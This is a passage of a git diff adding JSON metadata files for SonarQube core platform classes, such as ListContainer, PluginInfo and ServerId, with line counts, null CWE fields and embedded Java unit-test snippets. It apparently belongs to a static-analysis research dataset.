assertThat(key).isNotEqualTo(WrongToStringImpl.KEY);\n\n\n\n Object key2 = keys.of(new WrongToStringImpl());\n\n assertThat(key2).isNotEqualTo(key);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/Container.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/Container.json new file mode 100644 index 0000000..8b5cd78 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/Container.json @@ -0,0 +1,13 @@ +{ + "name": "Container", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 7, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ContainerPopulator.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ContainerPopulator.json new file mode 100644 index 0000000..3ef4e8c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ContainerPopulator.json @@ -0,0 +1,13 @@ +{ + "name": "ContainerPopulator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/EditionProvider.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/EditionProvider.json new file mode 100644 index 0000000..9b74221 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/EditionProvider.json @@ -0,0 +1,13 @@ +{ + "name": "EditionProvider", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 16, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ExplodedPlugin.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ExplodedPlugin.json new file mode 100644 index 0000000..5316344 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ExplodedPlugin.json @@ -0,0 +1,13 @@ +{ + "name": "ExplodedPlugin", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 24, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ExtensionContainer.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ExtensionContainer.json new file mode 100644 index 0000000..cc0db28 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ExtensionContainer.json @@ -0,0 +1,13 @@ +{ + "name": "ExtensionContainer", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 12, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/LazyStrategy.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/LazyStrategy.json new file mode 100644 index 0000000..7535652 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/LazyStrategy.json @@ -0,0 +1,13 @@ +{ + "name": "LazyStrategy", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 6, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/LazyUnlessStartableStrategy.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/LazyUnlessStartableStrategy.json new file mode 100644 index 0000000..947c888 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/LazyUnlessStartableStrategy.json @@ -0,0 +1,20 @@ +{ + "name": "LazyUnlessStartableStrategy", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 6, + "branches": 0, + "apis": 1, + "test": [ + { + "description": "sets_all_beans_lazy", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void sets_all_beans_lazy() {\n\n DefaultListableBeanFactory beanFactory = new DefaultListableBeanFactory();\n\n beanFactory.registerBeanDefinition(\"bean1\", new RootBeanDefinition());\n\n assertThat(beanFactory.getBeanDefinition(\"bean1\").isLazyInit()).isFalse();\n\n\n\n postProcessor.postProcessBeanFactory(beanFactory);\n\n assertThat(beanFactory.getBeanDefinition(\"bean1\").isLazyInit()).isTrue();\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ListContainer.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ListContainer.json new file mode 100644 index 0000000..7cb38a4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ListContainer.json @@ -0,0 +1,44 @@ +{ + "name": "ListContainer", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 70, + "branches": 5, + "apis": 4, + "test": [ + { + "description": "register_beans", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void register_beans() {\n\n ListContainer container = new ListContainer();\n\n container.add(\n\n A.class,\n\n new VirtualModule(),\n\n Arrays.asList(C.class, D.class)\n\n );\n\n assertThat(container.getAddedObjects()).contains(A.class, B.class, C.class, D.class);\n\n }" + }, + { + "description": "addExtension_register_beans", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void addExtension_register_beans() {\n\n ListContainer container = new ListContainer();\n\n container\n\n .addExtension(\"A\", A.class)\n\n .addExtension(\"B\", B.class);\n\n assertThat(container.getAddedObjects()).contains(A.class, B.class);\n\n }" + }, + { + "description": "declareExtension_does_nothing", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void declareExtension_does_nothing() {\n\n ListContainer container = new ListContainer();\n\n assertThatNoException().isThrownBy(() -> container\n\n .declareExtension(\"A\", A.class)\n\n .declareExtension(mock(PluginInfo.class), B.class));\n\n }" + }, + { + "description": "unsupported_method_should_throw_exception", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void unsupported_method_should_throw_exception() {\n\n ListContainer container = new ListContainer();\n\n container.add(A.class);\n\n assertThatThrownBy(() -> container.getComponentByType(A.class)).isInstanceOf(UnsupportedOperationException.class);\n\n assertThatThrownBy(() -> container.getOptionalComponentByType(A.class)).isInstanceOf(UnsupportedOperationException.class);\n\n assertThatThrownBy(() -> container.getComponentsByType(A.class)).isInstanceOf(UnsupportedOperationException.class);\n\n assertThatThrownBy(container::getParent).isInstanceOf(UnsupportedOperationException.class);\n\n }" + }, + { + "description": "addWebApiV2ConfigurationClass_whenClassIsAdded_isReturnedByGetWebApiV2ConfigurationClasses", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void addWebApiV2ConfigurationClass_whenClassIsAdded_isReturnedByGetWebApiV2ConfigurationClasses() {\n\n ListContainer container = new ListContainer();\n\n container.addWebApiV2ConfigurationClass(org.sonar.core.test.Test.class);\n\n assertThat(container.getWebApiV2ConfigurationClasses()).containsOnly(org.sonar.core.test.Test.class);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/Module.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/Module.json new file mode 100644 index 0000000..eb0f81c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/Module.json @@ -0,0 +1,32 @@ +{ + "name": "Module", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 19, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "module_with_empty_configureModule_method_adds_no_component", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void module_with_empty_configureModule_method_adds_no_component() {\n\n new Module() {\n\n @Override\n\n protected void configureModule() {\n\n // empty\n\n }\n\n }.configure(container);\n\n\n\n assertThat(container.getAddedObjects()).isEmpty();\n\n }" + }, + { + "description": "add_method_supports_null_and_adds_nothing_to_container", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void add_method_supports_null_and_adds_nothing_to_container() {\n\n new Module() {\n\n @Override\n\n protected void configureModule() {\n\n add((Object)null);\n\n }\n\n }.configure(container);\n\n\n\n assertThat(container.getAddedObjects()).isEmpty();\n\n }" + }, + { + "description": "add_method_filters_out_null_inside_vararg_parameter", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void add_method_filters_out_null_inside_vararg_parameter() {\n\n new Module() {\n\n @Override\n\n protected void configureModule() {\n\n add(new Object(), null, \"\");\n\n }\n\n }.configure(container);\n\n\n\n assertThat(container.getAddedObjects()).hasSize(2);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PlatformEditionProvider.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PlatformEditionProvider.json new file mode 100644 index 0000000..7cc47ec --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PlatformEditionProvider.json @@ -0,0 +1,20 @@ +{ + "name": "PlatformEditionProvider", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 6, + "branches": 0, + "apis": 1, + "test": [ + { + "description": "returns_COMMUNITY", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void returns_COMMUNITY() {\n\n assertThat(new PlatformEditionProvider().get()).contains(COMMUNITY);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginClassLoader.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginClassLoader.json new file mode 100644 index 0000000..3381fa4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginClassLoader.json @@ -0,0 +1,13 @@ +{ + "name": "PluginClassLoader", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 111, + "branches": 13, + "apis": 64, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginClassLoaderDef.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginClassLoaderDef.json new file mode 100644 index 0000000..cd9bb30 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginClassLoaderDef.json @@ -0,0 +1,20 @@ +{ + "name": "PluginClassLoaderDef", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 52, + "branches": 3, + "apis": 9, + "test": [ + { + "description": "test_equals_and_hashCode", + "expected-problems": null, + "expected-linenumbers": 13, + "code": " public void test_equals_and_hashCode() {\n\n PluginClassLoaderDef one = new PluginClassLoaderDef(\"one\");\n\n PluginClassLoaderDef oneBis = new PluginClassLoaderDef(\"one\");\n\n PluginClassLoaderDef two = new PluginClassLoaderDef(\"two\");\n\n\n\n assertThat(one.equals(one)).isTrue();\n\n assertThat(one.equals(oneBis)).isTrue();\n\n assertThat(one)\n\n .hasSameHashCodeAs(one)\n\n .hasSameHashCodeAs(oneBis);\n\n\n\n assertThat(one.equals(two)).isFalse();\n\n assertThat(one.equals(\"one\")).isFalse();\n\n assertThat(one.equals(null)).isFalse();\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginClassloaderFactory.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginClassloaderFactory.json new file mode 100644 index 0000000..cdd8a7d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginClassloaderFactory.json @@ -0,0 +1,38 @@ +{ + "name": "PluginClassloaderFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 93, + "branches": 10, + "apis": 39, + "test": [ + { + "description": "create_isolated_classloader", + "expected-problems": null, + "expected-linenumbers": 13, + "code": " public void create_isolated_classloader() {\n\n PluginClassLoaderDef def = basePluginDef();\n\n Map map = factory.create(emptyMap(), asList(def));\n\n\n\n assertThat(map).containsOnlyKeys(def);\n\n ClassLoader classLoader = map.get(def);\n\n\n\n // plugin can access to API classes, and of course to its own classes !\n\n assertThat(canLoadClass(classLoader, RulesDefinition.class.getCanonicalName())).isTrue();\n\n assertThat(canLoadClass(classLoader, BASE_PLUGIN_CLASSNAME)).isTrue();\n\n\n\n // plugin can not access to core classes\n\n assertThat(canLoadClass(classLoader, PluginClassloaderFactory.class.getCanonicalName())).isFalse();\n\n assertThat(canLoadClass(classLoader, Test.class.getCanonicalName())).isFalse();\n\n assertThat(canLoadClass(classLoader, StringUtils.class.getCanonicalName())).isFalse();\n\n }" + }, + { + "description": "classloader_exports_resources_to_other_classloaders", + "expected-problems": null, + "expected-linenumbers": 14, + "code": " public void classloader_exports_resources_to_other_classloaders() {\n\n PluginClassLoaderDef baseDef = basePluginDef();\n\n PluginClassLoaderDef dependentDef = dependentPluginDef();\n\n Map map = factory.create(emptyMap(), asList(baseDef, dependentDef));\n\n ClassLoader baseClassloader = map.get(baseDef);\n\n ClassLoader dependentClassloader = map.get(dependentDef);\n\n\n\n // base-plugin exports its API package to other plugins\n\n assertThat(canLoadClass(dependentClassloader, \"org.sonar.plugins.base.api.BaseApi\")).isTrue();\n\n assertThat(canLoadClass(dependentClassloader, BASE_PLUGIN_CLASSNAME)).isFalse();\n\n assertThat(canLoadClass(dependentClassloader, DEPENDENT_PLUGIN_CLASSNAME)).isTrue();\n\n\n\n // dependent-plugin does not export its classes\n\n assertThat(canLoadClass(baseClassloader, DEPENDENT_PLUGIN_CLASSNAME)).isFalse();\n\n assertThat(canLoadClass(baseClassloader, BASE_PLUGIN_CLASSNAME)).isTrue();\n\n }" + }, + { + "description": "classloader_exports_resources_to_other_classloaders_loaded_later", + "expected-problems": null, + "expected-linenumbers": 11, + "code": " public void classloader_exports_resources_to_other_classloaders_loaded_later() {\n\n PluginClassLoaderDef baseDef = basePluginDef();\n\n Map map1 = factory.create(emptyMap(), List.of(baseDef));\n\n\n\n PluginClassLoaderDef dependentDef = dependentPluginDef();\n\n Map map2 = factory.create(map1, List.of(dependentDef));\n\n\n\n ClassLoader dependentClassloader = map2.get(dependentDef);\n\n\n\n // base-plugin exports its API package to other plugins\n\n assertThat(canLoadClass(dependentClassloader, \"org.sonar.plugins.base.api.BaseApi\")).isTrue();\n\n assertThat(canLoadClass(dependentClassloader, BASE_PLUGIN_CLASSNAME)).isFalse();\n\n assertThat(canLoadClass(dependentClassloader, DEPENDENT_PLUGIN_CLASSNAME)).isTrue();\n\n }" + }, + { + "description": "classloader_exposes_license_api_from_main_classloader", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void classloader_exposes_license_api_from_main_classloader() {\n\n PluginClassLoaderDef def = basePluginDef();\n\n Map map = factory.create(emptyMap(), asList(def));\n\n\n\n assertThat(map).containsOnlyKeys(def);\n\n ClassLoader classLoader = map.get(def);\n\n\n\n assertThat(canLoadClass(classLoader, FooBar.class.getCanonicalName())).isTrue();\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginInfo.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginInfo.json new file mode 100644 index 0000000..fc4302e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginInfo.json @@ -0,0 +1,68 @@ +{ + "name": "PluginInfo", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 355, + "branches": 14, + "apis": 77, + "test": [ + { + "description": "test_RequiredPlugin", + "expected-problems": null, + "expected-linenumbers": 14, + "code": " public void test_RequiredPlugin() {\n\n PluginInfo.RequiredPlugin plugin = PluginInfo.RequiredPlugin.parse(\"java:1.1\");\n\n assertThat(plugin.getKey()).isEqualTo(\"java\");\n\n assertThat(plugin.getMinimalVersion().getName()).isEqualTo(\"1.1\");\n\n assertThat(plugin).hasToString(\"java:1.1\")\n\n .isEqualTo(PluginInfo.RequiredPlugin.parse(\"java:1.2\"))\n\n .isNotEqualTo(PluginInfo.RequiredPlugin.parse(\"php:1.2\"));\n\n\n\n try {\n\n PluginInfo.RequiredPlugin.parse(\"java\");\n\n fail();\n\n } catch (IllegalArgumentException expected) {\n\n // ok\n\n }\n\n }" + }, + { + "description": "test_comparison", + "expected-problems": null, + "expected-linenumbers": 14, + "code": " public void test_comparison() {\n\n PluginInfo java1 = new PluginInfo(\"java\").setVersion(Version.create(\"1.0\"));\n\n PluginInfo java2 = new PluginInfo(\"java\").setVersion(Version.create(\"2.0\"));\n\n PluginInfo javaNoVersion = new PluginInfo(\"java\");\n\n PluginInfo cobol = new PluginInfo(\"cobol\").setVersion(Version.create(\"1.0\"));\n\n PluginInfo noVersion = new PluginInfo(\"noVersion\");\n\n List plugins = Arrays.asList(java1, cobol, javaNoVersion, noVersion, java2);\n\n\n\n List ordered = natural().sortedCopy(plugins);\n\n Assertions.assertThat(ordered.get(0)).isSameAs(cobol);\n\n Assertions.assertThat(ordered.get(1)).isSameAs(javaNoVersion);\n\n Assertions.assertThat(ordered.get(2)).isSameAs(java1);\n\n Assertions.assertThat(ordered.get(3)).isSameAs(java2);\n\n Assertions.assertThat(ordered.get(4)).isSameAs(noVersion);\n\n }" + }, + { + "description": "test_equals", + "expected-problems": null, + "expected-linenumbers": 15, + "code": " public void test_equals() {\n\n PluginInfo java1 = new PluginInfo(\"java\").setVersion(Version.create(\"1.0\"));\n\n PluginInfo java2 = new PluginInfo(\"java\").setVersion(Version.create(\"2.0\"));\n\n PluginInfo javaNoVersion = new PluginInfo(\"java\");\n\n PluginInfo cobol = new PluginInfo(\"cobol\").setVersion(Version.create(\"1.0\"));\n\n\n\n assertThat(java1.equals(java1)).isTrue();\n\n assertThat(java1.equals(java2)).isFalse();\n\n assertThat(java1.equals(javaNoVersion)).isFalse();\n\n assertThat(java1.equals(cobol)).isFalse();\n\n assertThat(java1.equals(\"java:1.0\")).isFalse();\n\n assertThat(java1.equals(null)).isFalse();\n\n assertThat(javaNoVersion.equals(javaNoVersion)).isTrue();\n\n\n\n assertThat(java1).hasSameHashCodeAs(java1);\n\n assertThat(javaNoVersion).hasSameHashCodeAs(javaNoVersion);\n\n }" + }, + { + "description": "test_compatibility_with_snapshot_version_of_sonarqube", + "expected-problems": null, + "expected-linenumbers": 20, + "code": " public void test_compatibility_with_snapshot_version_of_sonarqube() {\n\n // plugins compatible with 5.6 LTS\n\n assertThat(withMinSqVersion(\"5.6\").isCompatibleWith(\"6.3-SNAPSHOT\")).isTrue();\n\n assertThat(withMinSqVersion(\"5.6.1\").isCompatibleWith(\"6.3-SNAPSHOT\")).isTrue();\n\n\n\n // plugin build with old release candidates of SonarQube (RC technical versions have been removed\n\n // in SonarQube 6.3)\n\n assertThat(withMinSqVersion(\"5.6-RC1\").isCompatibleWith(\"6.3-SNAPSHOT\")).isTrue();\n\n assertThat(withMinSqVersion(\"6.2-RC1\").isCompatibleWith(\"6.3-SNAPSHOT\")).isTrue();\n\n\n\n // plugin built with snapshot version of SonarQube\n\n assertThat(withMinSqVersion(\"5.6-SNAPSHOT\").isCompatibleWith(\"6.3-SNAPSHOT\")).isTrue();\n\n assertThat(withMinSqVersion(\"6.3-SNAPSHOT\").isCompatibleWith(\"6.3-SNAPSHOT\")).isTrue();\n\n assertThat(withMinSqVersion(\"6.4-SNAPSHOT\").isCompatibleWith(\"6.3-SNAPSHOT\")).isFalse();\n\n\n\n // plugin built with SonarQube releases\n\n assertThat(withMinSqVersion(\"6.3.0.5000\").isCompatibleWith(\"6.3-SNAPSHOT\")).isTrue();\n\n assertThat(withMinSqVersion(\"6.3.1.5000\").isCompatibleWith(\"6.3-SNAPSHOT\")).isTrue();\n\n assertThat(withMinSqVersion(\"6.3.1.5000\").isCompatibleWith(\"6.4-SNAPSHOT\")).isTrue();\n\n assertThat(withMinSqVersion(\"6.4.0.5000\").isCompatibleWith(\"6.3-SNAPSHOT\")).isFalse();\n\n\n\n // no constraint\n\n assertThat(withMinSqVersion(null).isCompatibleWith(\"6.3-SNAPSHOT\")).isTrue();\n\n }" + }, + { + "description": "test_compatibility_with_release_version_of_sonarqube", + "expected-problems": null, + "expected-linenumbers": 21, + "code": " public void test_compatibility_with_release_version_of_sonarqube() {\n\n // plugins compatible with 5.6 LTS\n\n assertThat(withMinSqVersion(\"5.6\").isCompatibleWith(\"6.3.0.5000\")).isTrue();\n\n assertThat(withMinSqVersion(\"5.6.1\").isCompatibleWith(\"6.3.0.5000\")).isTrue();\n\n\n\n // plugin build with old release candidates of SonarQube (RC technical versions have been removed\n\n // in SonarQube 6.3)\n\n assertThat(withMinSqVersion(\"5.6-RC1\").isCompatibleWith(\"6.3.0.5000\")).isTrue();\n\n assertThat(withMinSqVersion(\"6.2-RC1\").isCompatibleWith(\"6.3.0.5000\")).isTrue();\n\n\n\n // plugin built with snapshot version of SonarQube\n\n assertThat(withMinSqVersion(\"5.6-SNAPSHOT\").isCompatibleWith(\"6.3.0.5000\")).isTrue();\n\n assertThat(withMinSqVersion(\"6.3-SNAPSHOT\").isCompatibleWith(\"6.3.0.5000\")).isTrue();\n\n assertThat(withMinSqVersion(\"6.3-SNAPSHOT\").isCompatibleWith(\"6.3.1.6000\")).isTrue();\n\n assertThat(withMinSqVersion(\"6.4-SNAPSHOT\").isCompatibleWith(\"6.3.0.5000\")).isFalse();\n\n\n\n // plugin built with SonarQube releases\n\n assertThat(withMinSqVersion(\"6.3.0.5000\").isCompatibleWith(\"6.3.0.4000\")).isFalse();\n\n assertThat(withMinSqVersion(\"6.3.0.5000\").isCompatibleWith(\"6.3.0.5000\")).isTrue();\n\n assertThat(withMinSqVersion(\"6.3.0.5000\").isCompatibleWith(\"6.3.1.6000\")).isTrue();\n\n assertThat(withMinSqVersion(\"6.4.0.7000\").isCompatibleWith(\"6.3.0.5000\")).isFalse();\n\n\n\n // no constraint\n\n assertThat(withMinSqVersion(null).isCompatibleWith(\"6.3.0.5000\")).isTrue();\n\n }" + }, + { + "description": "create_from_file", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void create_from_file() {\n\n File checkstyleJar = FileUtils.toFile(getClass().getResource(\"/org/sonar/core/platform/sonar-checkstyle-plugin-2.8.jar\"));\n\n PluginInfo checkstyleInfo = PluginInfo.create(checkstyleJar);\n\n\n\n assertThat(checkstyleInfo.getName()).isEqualTo(\"Checkstyle\");\n\n assertThat(checkstyleInfo.getDocumentationPath()).isNull();\n\n assertThat(checkstyleInfo.getMinimalSonarPluginApiVersion()).isEqualTo(Version.create(\"2.8\"));\n\n }" + }, + { + "description": "create_from_file_with_documentation", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void create_from_file_with_documentation() {\n\n File jarWithDocs = FileUtils.toFile(getClass().getResource(\"/org/sonar/core/platform/jar_with_documentation.jar\"));\n\n PluginInfo checkstyleInfo = PluginInfo.create(jarWithDocs);\n\n\n\n assertThat(checkstyleInfo.getDocumentationPath()).isNotBlank();\n\n assertThat(checkstyleInfo.getDocumentationPath()).isEqualTo(\"static/documentation.md\");\n\n }" + }, + { + "description": "test_toString", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void test_toString() {\n\n PluginInfo pluginInfo = new PluginInfo(\"java\").setVersion(Version.create(\"1.1\"));\n\n assertThat(pluginInfo).hasToString(\"[java / 1.1]\");\n\n\n\n pluginInfo.setImplementationBuild(\"SHA1\");\n\n assertThat(pluginInfo).hasToString(\"[java / 1.1 / SHA1]\");\n\n }" + }, + { + "description": "l10n_plugins_should_not_extend_english_plugin", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void l10n_plugins_should_not_extend_english_plugin() {\n\n PluginInfo pluginInfo = new PluginInfo(\"l10nfr\").setBasePlugin(\"l10nen\");\n\n assertThat(pluginInfo.getBasePlugin()).isNull();\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginJarExploder.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginJarExploder.json new file mode 100644 index 0000000..b4bab5d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginJarExploder.json @@ -0,0 +1,13 @@ +{ + "name": "PluginJarExploder", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 17, + "branches": 2, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginRepository.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginRepository.json new file mode 100644 index 0000000..b6802b2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginRepository.json @@ -0,0 +1,13 @@ +{ + "name": "PluginRepository", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 13, + "branches": 2, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PriorityBeanFactory.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PriorityBeanFactory.json new file mode 100644 index 0000000..972c04d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PriorityBeanFactory.json @@ -0,0 +1,32 @@ +{ + "name": "PriorityBeanFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 95, + "branches": 17, + "apis": 30, + "test": [ + { + "description": "give_priority_to_child_container", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void give_priority_to_child_container() {\n\n parentBeanFactory.registerBeanDefinition(\"A1\", new RootBeanDefinition(A1.class));\n\n\n\n beanFactory.registerBeanDefinition(\"A2\", new RootBeanDefinition(A2.class));\n\n beanFactory.registerBeanDefinition(\"B\", new RootBeanDefinition(B.class));\n\n\n\n assertThat(beanFactory.getBean(B.class).dep.getClass()).isEqualTo(A2.class);\n\n }" + }, + { + "description": "follow_priority_annotations", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void follow_priority_annotations() {\n\n parentBeanFactory.registerBeanDefinition(\"A3\", new RootBeanDefinition(A3.class));\n\n\n\n beanFactory.registerBeanDefinition(\"A1\", new RootBeanDefinition(A1.class));\n\n beanFactory.registerBeanDefinition(\"A2\", new RootBeanDefinition(A2.class));\n\n beanFactory.registerBeanDefinition(\"B\", new RootBeanDefinition(B.class));\n\n\n\n assertThat(beanFactory.getBean(B.class).dep.getClass()).isEqualTo(A3.class);\n\n }" + }, + { + "description": "throw_NoUniqueBeanDefinitionException_if_cant_find_single_bean_with_higher_priority", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void throw_NoUniqueBeanDefinitionException_if_cant_find_single_bean_with_higher_priority() {\n\n beanFactory.registerBeanDefinition(\"A1\", new RootBeanDefinition(A1.class));\n\n beanFactory.registerBeanDefinition(\"A2\", new RootBeanDefinition(A2.class));\n\n beanFactory.registerBeanDefinition(\"B\", new RootBeanDefinition(B.class));\n\n\n\n assertThatThrownBy(() -> beanFactory.getBean(B.class))\n\n .hasRootCauseInstanceOf(NoUniqueBeanDefinitionException.class);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/RemotePluginFile.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/RemotePluginFile.json new file mode 100644 index 0000000..ddff5ee --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/RemotePluginFile.json @@ -0,0 +1,13 @@ +{ + "name": "RemotePluginFile", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 14, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ServerId.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ServerId.json new file mode 100644 index 0000000..b0b8537 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ServerId.json @@ -0,0 +1,50 @@ +{ + "name": "ServerId", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 106, + "branches": 8, + "apis": 17, + "test": [ + { + "description": "parse_throws_NPE_if_argument_is_null", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void parse_throws_NPE_if_argument_is_null() {\n\n assertThatThrownBy(() -> ServerId.parse(null))\n\n .isInstanceOf(NullPointerException.class);\n\n }" + }, + { + "description": "parse_parses_deprecated_format_serverId", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void parse_parses_deprecated_format_serverId() {\n\n String deprecated = new SimpleDateFormat(\"yyyyMMddHHmmss\").format(new 